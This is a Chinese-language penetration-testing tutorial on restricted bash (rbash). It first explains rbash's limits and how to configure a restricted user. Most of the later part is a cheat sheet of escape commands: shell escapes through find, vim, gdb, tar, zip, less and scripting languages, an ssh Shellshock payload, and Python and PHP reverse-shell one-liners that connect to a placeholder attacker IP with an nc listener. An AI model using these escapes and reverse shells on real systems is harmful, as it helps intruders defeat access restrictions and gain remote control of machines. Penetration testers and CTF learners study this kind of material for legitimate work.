原文链接:Restricted Bash绕过技巧
0x01 前言 在如今网络安全管理越来越规范,安全运维安全管理逐渐重视,在各种系统配置中运维人员都设定了各种限制,在渗透测试中能获得一个未受限制的shell变得非常困难,为了安全管理运维人员通常会给不同用户设定一些特定的命令限制,来限制非必要命令的执行。 0x02 什么是Restricted Bash Restricted Bash(rbash)又叫做Restricted Shell,顾名思义就是受限制的shell。Linux的shell功能强大,以至于整个Linux系统可以精准的使用shell来控制。在Linux不同用户之间,当你执行的一个系统命令时,它可能是危险的不可逆命令,为不同用户之间设定不同权限进行安全管理引入了限制Bash Shell,防止一些非必要权限用户执行有害系统的高危命令。 再比如一台Linux系统服务器中采用多用户管理,部分用户没有sudo权限,但是这些用户可以查看系统目录中大部分内容,虽然没有权限进行编辑但是不希望这些用户查看这些目录,这时可以通过rbash在不调整系统上每个文件夹权限的情况下通过限制用户输入某些命令来限制用户随意查看。 简单来说rbash与shell的区别就是限制一些行为,让一些命令无法执行。 0x03 rbash中的限制 rbash中的限制如下列所示 使用cd命令 修改$PATH$SHELL$BASH_ENV或$ENV的值 执行包含/(斜杠)字符的程序,/usr /bin ./等 使用>>|<>>&&>和>>等重定向输出 使用set + r或set + o关闭限制 退出脚本内受限制的模式 rbash的存在是为了提高系统的安全性,但对于渗透者而言rbash限制严重影响了我们在目标机上的信息收集,以及常用的反弹shell。 0x04 为用户启用rbash示例 1.创建测试用户 使用具有sudo特权的用户创建一个新测试用户 sudo useradd -m test -s /bin/rbash ## 创建一个用户名为test,并且设置test登录shell为rbash sudo passwd test ## 为test设置密码 2.为新用户建立目录 为test建立bin目录 sudo mkdir /home/test/bin 3.指定用户可以运行的命令 为用户指定可以运行的命令,创建指向新建目录链接。指定用户可以运行mkdirlsping sudo ln -s /bin/bash /bin/rbash ## 从Bash 创建一个名为rbash的符号链接 sudo ln -s /bin/mkdir /home/test/bin sudo ln -s /bin/ls /home/test/bin sudo ln -s /bin/ping /home/test/bin 4.限制新用户修改.bash_profile文件 sudo chown root. /home/test/.bash_profile sudo chmod 755 /home/test/.bash_profile 5.修改PATH变量 vi /home/test/.bash_profile PATH=$HOME/bin ## 将PATH变量修改为此 6.测试 切换到test用户下执行相关命令受限 0x05 Linux环境信息收集 在我们遇到rbash的时候,想要绕过rbash在绕过前需要做一些信息收集,通过尝试命令来查看Linux环境可以做哪些事,查看rbash限制了那些行为。通过查看收集rbash限制条件,使用合适的绕过方法进行绕过。 需要检查的内容如下: 检查有哪些可用的命令,如cdlscpsu等 检查操作符>>><|等是否可用 检查系统是否有编程语言环境Python、ruby、perl等 检查root身份可以运行的命令sudo -l 检查具有SUID权限的文件或命令 检查当前所用的shell,echo $SHELL 检查环境变量envprintenv等 0x06 rbash绕过方法 1.常见绕过方法 /字符被允许 如果允许使用“/”直接运行 /bin/sh 或 /bin/bash cp命令被允许 如果cp命令被允许可直接复制 /bin/sh 或 /bin/bash 到本地目录 find命令被允许 find / -name SomeName -exec /bin/bash \; 能够设置PATH或SHELL时 有权限设置PATH或SHELL时,设置如下 export PATH=$PATH:/bin/:/usr/bin PATH export SHELL=/bin/sh set shell 在一些编辑器中可通过末行执行命令设置shell :set shell=/bin/bash :shell 切换用户逃逸 在Linux切换用户时通常用到su或su -,其中他们的区别是,使用su切换用户不会改变当前的用户环境,例如从test用户su到root用户,当前路径未发生改变,环境变量仍是test用户的。使用su -切换用户时用户环境会发生改变,例如从test用户su -到root用户,路径改变为/root/,环境变量也发生了改变 su - l test ## test为切换的用户名 su -- test su --login test ## 在su切换用户逃逸时还可以在切换用户时执行spawn shell命令 su -c "python -c 'import pty;pty.spawn(\"/bin/bash\")'" test ## test为要切换的用户名 2.利用Linux现有软件 利用ftp ftp 执行 !/bin/sh 或 !/bin/bash 利用gdb gdb 执行 !/bin/sh 或 !/bin/bash 利用git 执行 git help status 然后运行 !/bin/bash 利用ed ed 执行 !'/bin/sh/' 或 !'/bin/bash/' 利用vi/vim # 利用在vi/vim中末行模式可以执行命令的特点 vim test 编辑test文件在末行执行 :!/bin/sh 或 :!/bin/bash 利用zip zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c/bin/bash" 利用tar tar cf /dev/null testfile --checkpoint=1 --checkpointaction=exec=/bin/bash 3.使用编程语言 利用Python python -c 'import os; os.system("/bin/bash")' 利用Perl perl -e 'exec "/bin/bash";' 利用Ruby exec "/bin/bash" 利用lua os.execute('/bin/bash'). 利用Perl perl -e 'exec "/bin/bash";' 利用awk awk 'BEGIN {system("/bin/bash")}' 利用PHP php -a then exec("bash -i"); 4.使用系统命令反弹shell 使用python反弹shell绕过 攻击机开启监听 nc -lvp PORT 目标建立连接 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' 使用PHP反弹设shell绕过 攻击机开启监听 nc -lvp PORT 目标机建立连接 php -r '$sock=fsockopen("IP",PORT);exec("/bin/bash -i <&3 >&3 2>&3");' 5.利用系统中的二进制文件 利用more more test #利用编辑器末行执行命令的特点 !'bash' 利用less less test.txt #利用编辑器末行执行命令的特点 !'bash' 利用man !'bash' #利用编辑器末行执行命令的特点 6.利用expect绕过 expect expect1.1 > spawn bash spawn bash 7.通过ssh绕过 ssh username@IP -t "/bin/bash" ssh username@IP -t "bash --noprofile" ssh username@IP -t "() { :; }; /bin/bash" (sehllshock) ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID) ## ssh 登录时同样可以通过spawn shell逃逸 ssh username@IP "export TERM=xterm;python -c 'import pty;pty.spawn(\"/bin/bash\")' 0x08总结 笔者在一次渗透靶机的过程中遇到rbash绕过的问题,于是针对于rbash绕过技巧查找相关资料进行学习,通过借鉴前人经验,重新对rbash绕过技巧进行了汇总总结,文章中没有对所有的方法在相关环境下进行一一测试,安全技术是不断进步的,对于rbash的绕过可能还会有更多的有效方法,希望更多的读者能对文章的不足进行进行批评指正,如果有更好的技巧希望更多的人分享。 参考连接:https://it.baiked.com/database/4533.html https://www.hackingarticles.in/multiple-methods-to-bypass-restricted-shell/ E N D
|